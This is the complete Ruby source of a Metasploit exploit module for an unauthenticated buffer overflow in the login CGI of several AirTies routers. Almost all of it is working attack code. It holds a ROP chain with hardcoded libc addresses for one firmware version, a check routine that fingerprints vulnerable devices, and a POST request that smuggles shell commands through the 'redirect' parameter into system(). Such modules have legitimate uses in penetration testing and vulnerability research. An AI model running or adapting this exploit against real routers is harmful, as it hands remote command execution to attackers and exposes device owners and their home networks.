Airties – login-cgi Buffer Overflow (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Airties login-cgi Buffer Overflow', 'Description' => %q{ This module exploits a remote buffer overflow vulnerability on several Airties routers. The vulnerability exists in the handling of HTTP queries to the login cgi with long redirect parametres. The vulnerability doesn't require authentication. This module has been tested successfully on the AirTies_Air5650v3TT_FW_1.0.2.0.bin firmware with emulation. Other versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453, Air5444TT, Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable. }, 'Author' => [ 'Batuhan Burakcin <batuhan[at]bmicrosystems.com>', # discovered the vulnerability 'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module ], 'License' => MSF_LICENSE, 'Platform' => ['linux'], 'Arch' => ARCH_MIPSBE, 'References' => [ ['EDB', '36577'], ['URL', 'http://www.bmicrosystems.com/blog/exploiting-the-airties-air-series/'], #advisory ['URL', 'http://www.bmicrosystems.com/exploits/airties5650tt.txt'] #PoC ], 'Targets' => [ [ 'AirTies_Air5650v3TT_FW_1.0.2.0', { 'Offset' => 359, 'LibcBase' => 0x2aad1000, 'RestoreReg' => 0x0003FE20, # restore s-registers 'System' => 0x0003edff, # address of system-1 'CalcSystem' => 0x000111EC, # calculate the correct address of system 'CallSystem' => 0x00041C10, # call our system 'PrepareSystem' => 0x000215b8 # prepare $a0 for our system call } ] ], 'DisclosureDate' => 'Mar 31 2015', 'DefaultTarget' => 0)) deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOUR') end def check begin res = send_request_cgi({ 'uri' => '/cgi-bin/login', 'method' => 'GET' }) if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /login.html\?ErrorCode=2/ return Exploit::CheckCode::Detected end rescue ::Rex::ConnectionError return Exploit::CheckCode::Unknown end Exploit::CheckCode::Unknown end def exploit print_status("#{peer} - Accessing the vulnerable URL...") unless check == Exploit::CheckCode::Detected fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") end print_status("#{peer} - Exploiting...") execute_cmdstager( :flavour => :echo, :linemax => 100 ) end def prepare_shellcode(cmd) shellcode = rand_text_alpha_upper(target['Offset']) # padding shellcode << [target['LibcBase'] + target['RestoreReg']].pack("N") # restore registers with controlled values # 0003FE20 lw $ra, 0x48+var_4($sp) # 0003FE24 lw $s7, 0x48+var_8($sp) # 0003FE28 lw $s6, 0x48+var_C($sp) # 0003FE2C lw $s5, 0x48+var_10($sp) # 0003FE30 lw $s4, 0x48+var_14($sp) # 0003FE34 lw $s3, 0x48+var_18($sp) # 0003FE38 lw $s2, 0x48+var_1C($sp) # 0003FE3C lw $s1, 0x48+var_20($sp) # 0003FE40 lw $s0, 0x48+var_24($sp) # 0003FE44 jr $ra # 0003FE48 addiu $sp, 0x48 shellcode << rand_text_alpha_upper(36) # padding shellcode << [target['LibcBase'] + target['System']].pack('N') # s0 - system address-1 shellcode << rand_text_alpha_upper(16) # unused registers $s1 - $s4 shellcode << [target['LibcBase'] + target['CallSystem']].pack('N') # $s5 - call system # 00041C10 move $t9, $s0 # 00041C14 jalr $t9 # 00041C18 nop shellcode << rand_text_alpha_upper(8) # unused registers $s6 - $s7 shellcode << [target['LibcBase'] + target['PrepareSystem']].pack('N') # write sp to $a0 -> parametre for call to system # 000215B8 addiu $a0, $sp, 0x20 # 000215BC lw $ra, 0x1C($sp) # 000215C0 jr $ra # 000215C4 addiu $sp, 0x20 shellcode << rand_text_alpha_upper(28) # padding shellcode << [target['LibcBase'] + target['CalcSystem']].pack('N') # add 1 to s0 (calculate system address) # 000111EC move $t9, $s5 # 000111F0 jalr $t9 # 000111F4 addiu $s0, 1 shellcode << cmd end def execute_command(cmd, opts) shellcode = prepare_shellcode(cmd) begin res = send_request_cgi({ 'method' => 'POST', 'uri' => '/cgi-bin/login', 'encode_params' => false, 'vars_post' => { 'redirect' => shellcode, 'user' => rand_text_alpha(5), 'password' => rand_text_alpha(8) } }) return res rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end end |